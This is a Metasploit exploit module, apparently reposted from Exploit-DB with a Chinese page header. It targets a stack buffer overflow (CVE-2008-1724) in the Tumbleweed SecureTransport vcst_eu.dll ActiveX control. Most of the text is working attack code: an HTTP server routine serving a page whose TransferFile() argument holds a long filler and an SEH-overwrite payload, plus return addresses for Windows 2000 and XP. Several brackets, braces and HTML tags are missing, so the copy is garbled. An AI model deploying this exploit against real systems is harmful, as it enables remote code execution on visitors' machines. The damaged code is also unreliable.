Tumbleweed SecureTransport FileTransfer – ‘vcst_eu.dll’ ActiveX Control Buffer Overflow (Metasploit)

Exploit Database
96 阅读

作者： Metasploit

日期： 2010-06-15
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16563/

# $Id: tumbleweed_filetransfer.rb 9525 2010-06-15 07:18:08Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in the vcst_eu.dll

FileTransfer Module (1.0.0.5) ActiveX control in the Tumbleweed

SecureTransport suite. By sending an overly long string to the

TransferFile() 'remotefile' function, an attacker may be able

to execute arbitrary code.

'License'=> MSF_LICENSE,

'Author' => 'patrick',

'Version'=> '$Revision: 9525 $',

'References' =>

[

[ 'CVE', '2008-1724' ],

[ 'OSVDB', '44252' ],

[ 'URL', 'http://www.aushack.com/200708-tumbleweed.txt' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload' =>

{

'Space' => 1000,

'BadChars' => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0<>()\"\\",

'Platform' => 'win',

'Targets' =>

[

# Patrick - tested successfully against W2KSP0 EN, W2KSP4 EN, XPSP0 EN, 2007/08/17.

[ 'Universal vcst_eu.dll', { 'Ret' => 0x1001ee75 } ],

[ 'Windows 2000 Pro English', { 'Ret' => 0x75022ac4 } ],

[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],

'DisclosureDate' => 'Apr 07 2008',

'DefaultTarget' => 0))

end

def on_request_uri(cli, request)

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

# Randomize some things

vname = rand_text_alpha(rand(100) + 1)

vurl = rand_text_alpha(rand(100) + 1)

vhostName = rand_text_alpha(rand(100) + 1)

vlocalFile = rand_text_alpha(rand(100) + 1)

vMD5 = rand_text_alpha(rand(100) + 1)

# Build the exploit buffer

filler = rand_text_alpha(4620)

seh = generate_seh_payload(target.ret)

sploit = filler + seh

# Build out the message

content = %Q|

<html>

#{vname}.TransferFile("#{vurl}", "#{vhostName}", "#{vlocalFile}", "#{sploit}", "#{vMD5}", false, false, 80, false, true, true, 420)

</script>

</html>

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end